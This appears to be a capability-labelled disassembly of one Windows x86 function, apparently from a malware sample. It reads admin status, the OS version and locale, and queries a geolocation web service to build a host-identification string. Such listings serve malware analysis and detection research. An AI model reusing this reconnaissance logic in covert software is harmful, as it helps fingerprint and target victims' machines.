Function at 0x3b1b480
Capabilities:
Check os version
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4b0
push ebx
push esi
push edi
push 0x3ff
xor ebx, ebx
lea eax, [ebp - 0x4af]
push ebx
push eax
mov byte [ebp - 0x4b0], 0
call sub.MSVCRT.dll_memset
xor eax, eax
push str.isadmin
push 0x3b22c10
mov byte [ebp - 0xc], bl
mov dword [ebp - 0xb], eax
mov word [ebp - 7], ax
mov byte [ebp - 5], al
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
call fcn.03b173e0
add esp, 0x14
cmp dword [0x3b5bb2c], ebx
mov dword [ebp - 0x10], eax
jl 0x3b1b4f7
push 0x3b5af40
call fcn.03b11ba0
xor ecx, ecx
add esp, 4
cmp al, 1
sete cl
lea ecx, [ecx + ecx - 1]
mov dword [0x3b5bb2c], ecx
cmp dword [0x3b5b6a0], 1
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
jne 0x3b1b511
push 0x3b22c0c
lea edx, [ebp - 0xc]
push edx
jmp 0x3b1b51a
push 0x3b21335
lea eax, [ebp - 0xc]
push eax
call edi
mov esi, dword [ebp + 8]
cmp dword [esi + 0x10], ebx
jne 0x3b1b5f7
mov ecx, dword [0x3b5a8ac]
push 0x104
push 8
push ecx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea edx, [ebp - 0xb0]
push edx
mov dword [esi + 0x10], eax
mov dword [ebp - 0xb0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x3b1b5ec
mov eax, dword [ebp - 0xac]
cmp eax, 5
jne 0x3b1b59a
mov eax, dword [ebp - 0xa8]
cmp eax, ebx
jne 0x3b1b57e
mov eax, dword [esi + 0x10]
push 0x3b22c08
push eax
jmp 0x3b1b5f5
cmp eax, 1
jne 0x3b1b58e
mov ecx, dword [esi + 0x10]
push 0x3b22c04
push ecx
jmp 0x3b1b5f5
cmp eax, 2
jne 0x3b1b5e1
push 0x3b22c00
jmp 0x3b1b5f1
cmp eax, 6
jne 0x3b1b5e1
mov eax, dword [ebp - 0xa8]
cmp eax, ebx
jne 0x3b1b5c5
cmp byte [ebp - 0x16], 1
jne 0x3b1b5ba
mov eax, dword [esi + 0x10]
push 0x3b22bfc
push eax
jmp 0x3b1b5f5
mov ecx, dword [esi + 0x10]
push 0x3b22bf8
push ecx
jmp 0x3b1b5f5
cmp eax, 1
jne 0x3b1b5e1
cmp byte [ebp - 0x16], al
jne 0x3b1b5d6
push 0x3b22bf4
jmp 0x3b1b5f1
mov eax, dword [esi + 0x10]
push 0x3b22bf8
push eax
jmp 0x3b1b5f5
mov ecx, dword [esi + 0x10]
push 0x3b22bf0
push ecx
jmp 0x3b1b5f5
push 0x3b22bf0
mov edx, dword [esi + 0x10]
push edx
call edi
cmp dword [esi + 0xc], ebx
jne 0x3b1b71b
mov eax, dword [0x3b5a8ac]
push 0x104
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x3b21335
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
push str.http:__api.wipmania.com_
mov dword [esi + 0xc], eax
call fcn.03b1aa10
add esp, 0x10
test eax, eax
je 0x3b1b6e6
mov eax, dword [ebp - 4]
push str._br_
push eax
call sub.MSVCRT.dll_strstr
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x3b1b6b2
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 7
je 0x3b1b66a
add ebx, 4
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 2
je 0x3b1b6a2
push 0x400
lea ecx, [ebp - 0x4b0]
push ecx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x3b1b695
mov edx, dword [esi + 0xc]
push 0x3b22bf0
push edx
jmp 0x3b1b719
mov ecx, dword [esi + 0xc]
lea eax, [ebp - 0x4b0]
push eax
push ecx
jmp 0x3b1b719
push 0x3b22be4
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x3b1b6e3
push 0x400
lea edx, [ebp - 0x4b0]
push edx
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x3b1b6d6
push 0x3b22bf0
jmp 0x3b1b715
mov edx, dword [esi + 0xc]
lea ecx, [ebp - 0x4b0]
push ecx
push edx
jmp 0x3b1b719
push ebx
jmp 0x3b1b715
push 0x400
lea eax, [ebp - 0x4b0]
push eax
push 7
push 0x800
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x3b1b70e
mov ecx, dword [esi + 0xc]
push 0x3b22bf0
push ecx
jmp 0x3b1b719
lea edx, [ebp - 0x4b0]
push edx
mov eax, dword [esi + 0xc]
push eax
call edi
lea ecx, [ebp - 0x4b0]
push 7
push ecx
call fcn.03b1a2c0
mov eax, dword [esi]
add esp, 8
push 0x104
test eax, eax
jne 0x3b1b81b
mov edx, dword [0x3b5a8ac]
mov ebx, dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 8
push edx
call ebx
push 0x104
mov dword [esi], eax
mov eax, dword [0x3b5a8ac]
push 8
push eax
call ebx
push 0x104
mov dword [esi + 8], eax
mov ecx, dword [0x3b5a8ac]
push 8
push ecx
call ebx
push 0x104
mov dword [esi + 4], eax
mov edx, dword [0x3b5a8ac]
push 8
push edx
call ebx
mov ecx, dword [esi + 8]
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x4b0]
push eax
push 0x104
push ecx
call sub.MSVCRT.dll__snprintf
mov eax, dword [esi + 4]
lea edx, [ebp - 0x4b0]
push edx
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x18
cmp dword [ebp - 0x10], 0
je 0x3b1b7c4
mov ecx, dword [esi + 0x14]
push 0x3b22be0
push ecx
jmp 0x3b1b7cd
mov edx, dword [esi + 0x14]
push 0x3b22c0c
push edx
call edi
cmp dword [0x3b5bb2c], 1
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x10]
lea eax, [ebp - 0x4b0]
push eax
mov eax, dword [esi + 0xc]
push ecx
push edx
push eax
jne 0x3b1b809
mov edx, dword [esi]
lea ecx, [ebp - 0xc]
push ecx
push str.n_s_s_s_s_s
push 0x104
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x20
jmp 0x3b1b8e8
mov ecx, dword [esi]
push str._s_s_s_s
push 0x104
push ecx
jmp 0x3b1b8e0
push 0
push eax
call fcn.03b135f0
mov edx, dword [esi + 8]
push 0x104
push 0
push edx
call fcn.03b135f0
mov eax, dword [esi + 4]
push 0x104
push 0
push eax
call fcn.03b135f0
mov ecx, dword [esi + 0x14]
push 0x104
push 0
push ecx
call fcn.03b135f0
mov eax, dword [esi + 8]
lea edx, [ebp - 0x4b0]
push edx
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
mov edx, dword [esi + 4]
lea ecx, [ebp - 0x4b0]
push ecx
push 0x104
push edx
call sub.MSVCRT.dll__snprintf
add esp, 0x48
cmp dword [ebp - 0x10], 0
je 0x3b1b891
mov eax, dword [esi + 0x14]
push 0x3b22be0
push eax
jmp 0x3b1b89a
mov ecx, dword [esi + 0x14]
push 0x3b22c0c
push ecx
call edi
cmp dword [0x3b5bb2c], 1
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
lea edx, [ebp - 0x4b0]
push edx
mov edx, dword [esi + 0xc]
push eax
push ecx
push edx
jne 0x3b1b8d3
mov ecx, dword [esi]
lea eax, [ebp - 0xc]
push eax
push str.n_s_s_s_s_s
push 0x104
push ecx
call sub.MSVCRT.dll__snprintf
add esp, 0x20
jmp 0x3b1b8e8
mov eax, dword [esi]
push str._s_s_s_s
push 0x104
push eax
call sub.MSVCRT.dll__snprintf
add esp, 0x1c
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
test eax, eax
je 0x3b1b8fb
push eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
mov esp, ebp
pop ebp
ret